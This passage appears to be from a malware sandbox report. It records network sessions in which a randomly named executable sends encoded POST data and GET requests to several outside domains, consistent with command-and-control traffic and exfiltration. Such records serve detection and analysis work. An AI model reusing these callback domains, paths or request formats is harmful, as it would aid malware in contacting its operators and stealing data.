esKOeqySqK6Ks6VpgeUmNziMLj1Aj47WJB+c72IHWGmVdGxn [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50015	3.33.130.190	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:42.037537098 CEST	446	OUT	GET /paa2/?Yp=eXMH4fkp&nrs8j=qDBzf3Em8FMnDuZYbVfiL5sknZWYhueoT0F4r09hh9DCbJoHqCNNB+hYoG1Us3VrdNJQeWmKv3CCTbgwH3NiU5qDwpXvlmSTPuYmawVAsPwUoUwLb74j9YI= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.digitalbloom.info Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3
Oct 8, 2024 14:19:43.465883017 CEST	393	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 12:19:43 GMT Content-Type: text/html Content-Length: 253 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 59 70 3d 65 58 4d 48 34 66 6b 70 26 6e 72 73 38 6a 3d 71 44 42 7a 66 33 45 6d 38 46 4d 6e 44 75 5a 59 62 56 66 69 4c 35 73 6b 6e 5a 57 59 68 75 65 6f 54 30 46 34 72 30 39 68 68 39 44 43 62 4a 6f 48 71 43 4e 4e 42 2b 68 59 6f 47 31 55 73 33 56 72 64 4e 4a 51 65 57 6d 4b 76 33 43 43 54 62 67 77 48 33 4e 69 55 35 71 44 77 70 58 76 6c 6d 53 54 50 75 59 6d 61 77 56 41 73 50 77 55 6f 55 77 4c 62 37 34 6a 39 59 49 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Yp=eXMH4fkp&nrs8j=qDBzf3Em8FMnDuZYbVfiL5sknZWYhueoT0F4r09hh9DCbJoHqCNNB+hYoG1Us3VrdNJQeWmKv3CCTbgwH3NiU5qDwpXvlmSTPuYmawVAsPwUoUwLb74j9YI="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50016	84.32.84.32	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:48.545311928 CEST	724	OUT	POST /pt4m/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.thepeatear.online Content-Type: application/x-www-form-urlencoded Content-Length: 202 Connection: close Cache-Control: no-cache Origin: http://www.thepeatear.online Referer: http://www.thepeatear.online/pt4m/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 4e 78 69 7a 64 4c 6b 6f 38 66 54 37 41 45 46 65 66 66 5a 55 58 33 79 69 62 39 4f 4f 6a 31 6c 4e 71 61 31 37 4f 34 74 33 48 54 5a 34 61 33 72 7a 37 66 78 54 67 57 44 5a 4f 65 55 47 77 31 45 56 41 6c 5a 64 76 31 4f 46 51 4b 47 50 72 38 68 63 78 2f 31 47 71 61 33 47 70 36 67 52 58 6f 31 6b 55 68 61 66 69 73 6f 4f 64 69 4d 71 68 58 58 78 6b 2f 2b 77 62 38 47 50 62 4c 6b 79 39 69 50 55 79 64 72 58 72 52 5a 41 74 57 73 50 47 51 74 77 41 38 53 45 51 39 71 56 58 2f 67 4a 71 77 38 48 37 58 39 4b 44 7a 42 4c 54 53 78 54 53 76 50 41 41 43 34 6c 58 4e 65 70 70 5a 66 57 48 35 6e 55 5a 77 3d 3d Data Ascii: nrs8j=NxizdLko8fT7AEFeffZUX3yib9OOj1lNqa17O4t3HTZ4a3rz7fxTgWDZOeUGw1EVAlZdv1OFQKGPr8hcx/1Gqa3Gp6gRXo1kUhafisoOdiMqhXXxk/+wb8GPbLky9iPUydrXrRZAtWsPGQtwA8SEQ9qVX/gJqw8H7X9KDzBLTSxTSvPAAC4lXNeppZfWH5nUZw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50017	84.32.84.32	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:51.084002972 CEST	744	OUT	POST /pt4m/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.thepeatear.online Content-Type: application/x-www-form-urlencoded Content-Length: 222 Connection: close Cache-Control: no-cache Origin: http://www.thepeatear.online Referer: http://www.thepeatear.online/pt4m/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 4e 78 69 7a 64 4c 6b 6f 38 66 54 37 41 6b 31 65 64 34 31 55 66 33 79 74 56 64 4f 4f 31 46 6c 52 71 61 70 37 4f 35 59 73 48 68 39 34 61 53 58 7a 36 64 4a 54 73 32 44 5a 46 2b 55 44 2b 56 45 4f 41 6c 56 56 76 30 65 46 51 4a 36 50 72 35 4e 63 77 4f 31 46 72 4b 33 49 38 71 67 58 59 49 31 6b 55 68 61 66 69 73 38 6f 64 69 55 71 67 6e 6e 78 32 75 2b 2f 61 38 47 51 63 4c 6b 79 76 53 50 59 79 64 72 35 72 51 46 71 74 51 6f 50 47 56 4a 77 4f 4e 53 48 48 4e 71 58 49 76 68 49 36 41 42 49 2f 56 34 5a 48 79 35 70 64 78 6c 38 61 4a 65 61 52 7a 5a 79 46 4e 36 61 30 65 57 69 4b 36 61 64 43 34 36 6e 41 45 4a 55 36 38 50 36 43 69 49 6e 46 32 67 48 35 53 73 3d Data Ascii: nrs8j=NxizdLko8fT7Ak1ed41Uf3ytVdOO1FlRqap7O5YsHh94aSXz6dJTs2DZF+UD+VEOAlVVv0eFQJ6Pr5NcwO1FrK3I8qgXYI1kUhafis8odiUqgnnx2u+/a8GQcLkyvSPYydr5rQFqtQoPGVJwONSHHNqXIvhI6ABI/V4ZHy5pdxl8aJeaRzZyFN6a0eWiK6adC46nAEJU68P6CiInF2gH5Ss=

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	50018	84.32.84.32	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:53.639532089 CEST	10826	OUT	POST /pt4m/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.thepeatear.online Content-Type: application/x-www-form-urlencoded Content-Length: 10302 Connection: close Cache-Control: no-cache Origin: http://www.thepeatear.online Referer: http://www.thepeatear.online/pt4m/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 4e 78 69 7a 64 4c 6b 6f 38 66 54 37 41 6b 31 65 64 34 31 55 66 33 79 74 56 64 4f 4f 31 46 6c 52 71 61 70 37 4f 35 59 73 48 68 31 34 5a 67 76 7a 37 38 4a 54 74 32 44 5a 47 2b 55 43 2b 56 46 63 41 6c 64 52 76 30 53 56 51 4d 2b 50 72 66 5a 63 34 63 64 46 6c 4b 33 49 2b 71 67 53 58 6f 31 78 55 6c 47 44 69 76 45 6f 64 69 55 71 67 6c 50 78 6d 50 2b 2f 58 63 47 50 62 4c 6c 39 39 69 4f 46 79 63 44 50 72 51 42 51 74 6a 67 50 47 31 35 77 44 66 4b 48 62 64 71 5a 4c 76 67 62 36 41 4d 49 2f 56 6b 56 48 79 64 54 64 77 64 38 59 39 54 54 45 68 6c 66 59 2f 58 44 6d 2f 37 45 45 59 65 69 4f 4a 32 37 49 6b 45 4d 71 4a 76 71 4e 6a 74 59 5a 6b 5a 46 6a 79 47 6f 4a 6a 78 6f 69 51 44 61 74 49 78 30 42 6c 74 70 36 71 67 47 45 68 4c 33 51 52 70 77 55 46 36 34 43 48 52 53 77 61 57 45 59 79 4f 6c 42 58 49 66 56 66 69 6b 36 47 79 6a 34 61 68 38 4e 62 77 4f 37 63 2f 52 63 6b 51 6b 5a 6f 30 67 6f 34 4a 4d 76 47 79 4d 34 56 45 6f 59 30 49 2f 30 55 30 75 69 4a 6d 41 67 6e 59 78 43 48 37 55 41 67 34 4b 55 51 30 52 [TRUNCATED] Data Ascii: nrs8j=NxizdLko8fT7Ak1ed41Uf3ytVdOO1FlRqap7O5YsHh14Zgvz78JTt2DZG+UC+VFcAldRv0SVQM+PrfZc4cdFlK3I+qgSXo1xUlGDivEodiUqglPxmP+/XcGPbLl99iOFycDPrQBQtjgPG15wDfKHbdqZLvgb6AMI/VkVHydTdwd8Y9TTEhlfY/XDm/7EEYeiOJ27IkEMqJvqNjtYZkZFjyGoJjxoiQDatIx0Bltp6qgGEhL3QRpwUF64CHRSwaWEYyOlBXIfVfik6Gyj4ah8NbwO7c/RckQkZo0go4JMvGyM4VEoY0I/0U0uiJmAgnYxCH7UAg4KUQ0RyXeUl6M8O5zLA4DOGmYzmnGgjW8xiln4hZKpoZgf4hKR0bz5SdTOX4kTXZ15NRFNJQw4SKqQQb53M/oVKPXonOHmqV2zrlsHYQ4vv/KE115b7/nFZK1v95KBa5v5K5SWFoBT/nhamTgjd/KIlQr6KnaYgoOjhKwxF4E5UXRjgSAcFbYPuuo8LEbT1TUCwePoOzCbigKjMCC3eWocYyeUG20EN73Bl1V0lbXl4Mn7JLjwRbchWMxUHmP17kiovhLVDyglwTvdUocQVDxeYuFAeMkp0j8lh0Cok0ci6ZhfiORvzC4SX/zXjd7e2XP9N4ohdvyCDFbgtqllFYDQ+fGHf/u8y+pTlkcJz8gfTq4MY0ZkhvZHNnNGEjRwOtLYvwUI+QMlN4AILvRAbVqD8v0Zal3gva0F8xYZH794xWbOHdoW6GGk+8ygeOm+PwPTDn0aRtXyi00POVAenE499gbdytGHL5IlVPtlPw8m+49z9E9/B7Ch/xR/+U4d4CH6UVuRa/UJ4rMj+tf6pVMQeXXLgpsFUr7kKd7IASZuI+Cu06v9dgLZbEZ3ooCemdQxG5gO21JSGbpy22rq1BbDZU+BikIV0LgQ4h9XkhcDVvu0jxA+Eb7aDmUejI0ljNWK6JxoxM+fmKP3SrllOufBOBRffrquygTKKwcyYq [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50019	84.32.84.32	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:56.180372000 CEST	446	OUT	GET /pt4m/?nrs8j=AzKTe9sU/un6FWh8J4Z/TBPHes/wm2VwkqZ8OIQkGxADXwK45dBXsHOALtRz338sDHJ9qmiySJX4ofZpl75YgKir24cXfpRpIxKZjJwadTshiHDArMKxe74=&Yp=eXMH4fkp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.thepeatear.online Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3
Oct 8, 2024 14:19:56.641262054 CEST	1236	IN	HTTP/1.1 200 OK Server: hcdn Date: Tue, 08 Oct 2024 12:19:56 GMT Content-Type: text/html Content-Length: 10072 Connection: close Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 37d6ba98a8476778d23f4616ee078109-bos-edge4 Expires: Tue, 08 Oct 2024 12:19:55 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"
Oct 8, 2024 14:19:56.641294003 CEST	1236	IN	Data Raw: 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 Data Ascii: Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600
Oct 8, 2024 14:19:56.641304016 CEST	1236	IN	Data Raw: 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 Data Ascii: x;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-c
Oct 8, 2024 14:19:56.641315937 CEST	1236	IN	Data Raw: 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 69 6e 76 65 72 73 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f Data Ascii: r:#fff!important}.navbar{border-radius:0!important}.navbar-inverse{background-color:#36344d;border:none}.column-custom-wrap{padding-top:10px 20px}.badge{font-size:12px;line-height:16px;min-height:20px;min-width:20px;vertical-align:middle;text-
Oct 8, 2024 14:19:56.641328096 CEST	1236	IN	Data Raw: 65 6c 63 6f 6d 65 2f 69 6d 61 67 65 73 2f 68 6f 73 74 69 6e 67 65 72 2d 6c 6f 67 6f 2e 73 76 67 20 61 6c 74 3d 48 6f 73 74 69 6e 67 65 72 20 77 69 64 74 68 3d 31 32 30 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c Data Ascii: elcome/images/hostinger-logo.svg alt=Hostinger width=120></a></div><div class="collapse navbar-collapse" id=myNavbar><ul class="nav navbar-links navbar-nav navbar-right"><li><a href=https://www.hostinger.com/tutorials rel=nofollow><i aria-hidd
Oct 8, 2024 14:19:56.641339064 CEST	1236	IN	Data Raw: 78 20 63 6f 6c 75 6d 6e 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 31 32 20 63 6f 6c 2d 73 6d 2d 34 20 63 6f 6c 75 6d 6e 2d 63 75 73 74 6f 6d 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6c 75 6d Data Ascii: x column-wrap"><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title><span style=margin-right:8px>Buy website hosting </span><span class=badge>Save 90%</span></div><br><p>Extremely fast, secure and
Oct 8, 2024 14:19:56.641350031 CEST	1236	IN	Data Raw: 28 29 7b 74 68 69 73 2e 75 74 66 31 36 3d 7b 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 6f 72 28 76 61 72 20 72 2c 65 2c 6e 3d 5b 5d 2c 74 3d 30 2c 61 3d 6f 2e 6c 65 6e 67 74 68 3b 74 3c 61 3b 29 7b 69 66 28 35 35 32 39 36 3d 3d Data Ascii: (){this.utf16={decode:function(o){for(var r,e,n=[],t=0,a=o.length;t<a;){if(55296==(63488&(r=o.charCodeAt(t++)))){if(e=o.charCodeAt(t++),55296!=(64512&r)\|\|56320!=(64512&e))throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence");r=((1023
Oct 8, 2024 14:19:56.641935110 CEST	1000	IN	Data Raw: 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 32 29 22 29 3b 69 66 28 73 3e 4d 61 74 68 2e 66 6c 6f 6f 72 28 28 72 2d 66 29 2f 70 29 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 6f 76 65 72 Data Ascii: ("punycode_bad_input(2)");if(s>Math.floor((r-f)/p))throw RangeError("punycode_overflow(1)");if(f+=sp,s<(C=g<=i?1:i+26<=g?26:g-i))break;if(p>Math.floor(r/(o-C)))throw RangeError("punycode_overflow(2)");p=o-C}if(i=n(f-l,h=m.length+1,0===l),Mat
Oct 8, 2024 14:19:56.641944885 CEST	760	IN	Data Raw: 64 3d 30 3b 64 3c 76 3b 2b 2b 64 29 7b 69 66 28 28 43 3d 74 5b 64 5d 29 3c 68 26 26 2b 2b 66 3e 72 29 72 65 74 75 72 6e 20 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 6f 76 65 72 66 6c 6f 77 28 32 29 22 29 3b 69 66 28 43 3d 3d 68 29 7b 66 6f Data Ascii: d=0;d<v;++d){if((C=t[d])<h&&++f>r)return Error("punycode_overflow(2)");if(C==h){for(p=f,g=o;!(p<(s=g<=u?1:u+26<=g?26:g-u));g+=o)y.push(String.fromCharCode(e(s+(p-s)%(o-s),0))),p=Math.floor((p-s)/(o-s));y.push(String.fromCharCode(e(p,a&&w[d]?1:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50020	3.33.130.190	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:20:17.854618073 CEST	727	OUT	POST /oigd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.crowsecurity.cloud Content-Type: application/x-www-form-urlencoded Content-Length: 202 Connection: close Cache-Control: no-cache Origin: http://www.crowsecurity.cloud Referer: http://www.crowsecurity.cloud/oigd/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 44 6b 4e 44 47 69 74 36 52 59 72 57 63 7a 73 73 4e 4c 35 41 67 4e 59 30 46 4b 2f 39 4e 6d 30 38 70 7a 6b 49 4f 38 64 75 55 4b 53 33 50 6f 61 6b 2f 78 6a 35 35 76 79 6c 4e 52 4e 73 55 44 53 64 46 76 35 76 75 31 39 57 67 47 76 46 49 75 44 68 30 59 6f 32 70 73 31 49 4a 69 58 35 53 32 63 36 4d 42 64 41 68 4f 52 35 41 35 61 50 43 68 38 70 36 76 71 38 73 51 61 65 38 54 35 67 4b 71 6f 38 39 49 2f 4d 6b 4f 48 54 35 53 56 6a 30 4b 51 30 4c 32 42 58 72 48 4c 79 46 33 75 63 43 75 44 66 57 78 4f 51 56 48 56 47 33 4a 53 73 76 74 6b 6a 64 77 39 35 52 6a 79 5a 55 56 79 2f 70 6f 53 35 34 67 3d 3d Data Ascii: nrs8j=DkNDGit6RYrWczssNL5AgNY0FK/9Nm08pzkIO8duUKS3Poak/xj55vylNRNsUDSdFv5vu19WgGvFIuDh0Yo2ps1IJiX5S2c6MBdAhOR5A5aPCh8p6vq8sQae8T5gKqo89I/MkOHT5SVj0KQ0L2BXrHLyF3ucCuDfWxOQVHVG3JSsvtkjdw95RjyZUVy/poS54g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50021	3.33.130.190	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:20:20.592905045 CEST	747	OUT	POST /oigd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.crowsecurity.cloud Content-Type: application/x-www-form-urlencoded Content-Length: 222 Connection: close Cache-Control: no-cache Origin: http://www.crowsecurity.cloud Referer: http://www.crowsecurity.cloud/oigd/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 44 6b 4e 44 47 69 74 36 52 59 72 57 4f 44 63 73 4f 73 56 41 78 64 59 33 5a 36 2f 39 44 32 30 77 70 7a 6f 49 4f 39 5a 41 56 2f 36 33 4d 4a 71 6b 74 30 58 35 2b 76 79 6c 44 78 4e 54 51 44 54 52 46 76 30 50 75 30 74 57 67 47 72 46 49 73 4c 68 31 76 45 78 71 63 31 4b 41 43 58 2f 4e 6d 63 36 4d 42 64 41 68 4f 31 54 41 35 43 50 43 78 4d 70 35 4c 2b 37 79 67 61 5a 37 54 35 67 63 61 6f 34 39 49 2f 2b 6b 4e 44 31 35 55 5a 6a 30 4c 67 30 49 69 31 55 78 58 4b 35 61 6e 76 4f 4d 72 7a 61 59 54 6e 39 61 6c 4e 46 2b 70 57 2b 6e 4c 31 35 4d 42 63 75 44 6a 57 71 4a 53 37 4c 6b 72 76 77 6a 71 53 39 45 78 45 79 66 2b 6a 31 54 37 45 50 41 6d 42 41 66 39 59 3d Data Ascii: nrs8j=DkNDGit6RYrWODcsOsVAxdY3Z6/9D20wpzoIO9ZAV/63MJqkt0X5+vylDxNTQDTRFv0Pu0tWgGrFIsLh1vExqc1KACX/Nmc6MBdAhO1TA5CPCxMp5L+7ygaZ7T5gcao49I/+kND15UZj0Lg0Ii1UxXK5anvOMrzaYTn9alNF+pW+nL15MBcuDjWqJS7LkrvwjqS9ExEyf+j1T7EPAmBAf9Y=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50022	3.33.130.190	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:20:23.475444078 CEST	10829	OUT	POST /oigd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.crowsecurity.cloud Content-Type: application/x-www-form-urlencoded Content-Length: 10302 Connection: close Cache-Control: no-cache Origin: http://www.crowsecurity.cloud Referer: http://www.crowsecurity.cloud/oigd/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 44 6b 4e 44 47 69 74 36 52 59 72 57 4f 44 63 73 4f 73 56 41 78 64 59 33 5a 36 2f 39 44 32 30 77 70 7a 6f 49 4f 39 5a 41 56 35 69 33 4d 37 53 6b 75 58 2f 35 2f 76 79 6c 64 68 4e 53 51 44 53 4c 46 76 73 51 75 30 68 73 67 45 6a 46 49 4a 66 68 79 65 45 78 78 4d 31 4b 43 43 58 36 53 32 63 76 4d 42 74 4d 68 4f 6c 54 41 35 43 50 43 7a 55 70 74 50 71 37 77 67 61 65 38 54 35 30 4b 71 70 66 39 49 6e 75 6b 4f 76 44 36 6b 35 6a 30 6f 49 30 48 33 42 55 70 48 4b 37 62 6e 75 4c 4d 72 32 4b 59 54 37 66 61 6b 34 67 2b 72 4b 2b 6a 75 51 6a 63 55 38 58 42 46 4c 31 63 51 50 70 6a 4a 4c 75 71 35 57 35 4a 43 51 64 46 39 65 57 56 70 4a 32 52 6e 74 35 42 6f 6b 33 52 4e 54 38 47 51 49 43 43 6d 76 64 45 69 2b 39 54 30 78 31 5a 4e 34 50 6e 64 57 76 7a 4c 7a 31 46 64 56 43 47 37 47 6e 73 64 68 2b 59 37 55 62 59 2b 6f 32 47 34 62 75 54 71 66 31 4d 46 78 75 61 6a 47 56 55 50 4b 61 5a 59 33 62 30 38 54 71 67 36 53 4f 75 6c 46 49 68 56 69 71 71 36 53 51 2f 6a 4b 65 6f 2f 77 34 33 72 5a 6f 55 6c 41 41 45 76 55 49 [TRUNCATED] Data Ascii: nrs8j=DkNDGit6RYrWODcsOsVAxdY3Z6/9D20wpzoIO9ZAV5i3M7SkuX/5/vyldhNSQDSLFvsQu0hsgEjFIJfhyeExxM1KCCX6S2cvMBtMhOlTA5CPCzUptPq7wgae8T50Kqpf9InukOvD6k5j0oI0H3BUpHK7bnuLMr2KYT7fak4g+rK+juQjcU8XBFL1cQPpjJLuq5W5JCQdF9eWVpJ2Rnt5Bok3RNT8GQICCmvdEi+9T0x1ZN4PndWvzLz1FdVCG7Gnsdh+Y7UbY+o2G4buTqf1MFxuajGVUPKaZY3b08Tqg6SOulFIhViqq6SQ/jKeo/w43rZoUlAAEvUI/ew9IALKAVEETxXpgmBS1EeFeA9Dm7wKIgKRNdVo30AkOnj2xh85AUkJKnTaef+ufmgnMYdIQxQDTpdPCF6/H2/57g8yjq/2YpFchnFElQFe5h8++IFR4fUSU7Y9zfzqYu0p4zDdHD1nF9Sts3g6UgDkBmBbWdVY0Bba8ihm718W+HMKxapPZnGdI8jAKn8OXAje3XFHyjd+Hv2vCjaWtNetduScGoQOlqFPhk9pwbqGm18ed+iLuHpTqpsye1lUp2Qevk2GwOuQx4GeQkMvT17H/wuEEmp7cOKZ+pXOngcWDrkzBewXGK+U1SsclZ7UzEw40dYCBLGmYS3qdFWTDyg7Y+swxE17etcwXHBDX0pM7Wbad/ooB3Q0M8J4woILlGoJ2Qi+WN/utg6r7WM8zquF1DVFK5eHy/gR2eUg42+N3zImICpJtoqjUN5WUaaYOk0Q5wMI0vCAtS991sORxvma